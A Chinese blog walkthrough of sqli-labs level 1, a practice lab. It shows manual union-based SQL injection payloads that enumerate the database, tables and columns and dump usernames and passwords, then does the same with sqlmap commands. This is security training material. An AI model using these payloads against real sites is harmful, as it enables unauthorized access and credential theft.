26

sqli-labs第一关 详解

 3 years ago
source link: http://www.cnblogs.com/junlebao/p/13758919.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

sqli-labs第一关

方法一:手工注入

方法二:sqlmap工具

两种方式,都可以学学,顺便学会用sqlmap,也是不错的。不多说,我们开始吧

方法一:

来到第一关,图上说我们需要一个数字的参数

IR7nUbb.png!mobile

于是我们先手工注入?id=1 and 1=1 跟?id=1 and 1=2发现页面没有报错

每张截图上面页面中有select查询语句,这是我在第一关的源码中加上了echo "$sql<br>"; 为了能够跟清楚的了解sql注入的原理

I7v2Evq.png!mobile

于是我们来判断一下是否为字符型注入,尝试?id=1'发现页面报错,此题应该为字符型注入

BvM7ZvQ.png!mobile

于是我们拼接字符串?id=1' and '1'='1页面回显正常

mmYzMjI.png!mobile

然后我们使用order by来确定表中的列数,为什么我们要确定表中字段的列数呢?是因为我们的union联合查询

联合查询特点:

1、要求多条查询语句的查询列数是一致的!

2、要求多条查询语句的查询的每一列的类型和顺序最好一致

3、union关键字默认去重,如果使用union all 可以包含重复项

于是我们构造?id=1' and '1'='1' order by 1--+页面回显正常

?id=1' and '1'='1' order by 2--+页面回显正常

?id=1' and '1'='1' order by 3--+页面回显正常

?id=1' and '1'='1' order by 4--+出现报错界面

nEVzm2.png!mobile

然后我们就确定了字段数,于是用联合查询?id=-1' union select 1,2,3--+ (将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位

uUvayu6.png!mobile

这样我们就看到了2,3这两个回显位

然后我们利用union查询,查看数据库的版本和数据库名,这里面我们再补充点知识点

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

当我们简单了解了这个之后,我们再进行下面的步骤,相信大家有了深刻的理解

接下来利用这两个回显位来查询数据库,和数据库版本信息

?id=-1' union select 1,database(),version()--+

bmyYN3E.png!mobile

然后我们知道了数据库是security,版本信息:5.7.26

再爆表之前我们先了解一波知识点:

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

然后我们利用union查询来爆出表面宁

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

于是我们爆出了表名

JfUjInj.png!mobile

然后,由我们正常的思维,我们的账号和密码肯定在一张表上,我们看到了users表,

于是我们查看一下这张表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

Njm2mmR.png!mobile

我们看到了username和password字段,

然后我们就去查询字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

EFrIVjJ.png!mobile

获得了所有的账号和密码,这样我们就顺利的拿到了很重要的信息。

方法二:

--dbs:是查看所有的数据库

--tables:是查看所有的表

--columns:是查看表中所有的字段名

--dump:是查询哪个表的数据

因为我们已经知道了注入点的位置,于是我们直接用sqlmap跑

命令:sqlmap.py -u "有注入点的url" --dbs

iE7zmqR.png!mobile

我们看到了security数据库,然后我们开始爆表

命令:sqlmap.py -u "有注入点的url" -D security --tables

iIbEveV.png!mobile

接下来我们开始爆字段名

命令:sqlmap.py -u "有注入点的url" -D security -T users --columns

ARbe6vi.png!mobile

于是我们就可以爆信息了

命令:sqlmap.py -u "有注入点的url" -D security -T users -C "id,username,password" --dump

QFZVRzn.png!mobile

让后我们就得到了用户名和密码了。

两种方法,大家尽情参考就可以了。知识点,来自网络搜集中,有不对的可以指出来,欢迎大家的评论和指正。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK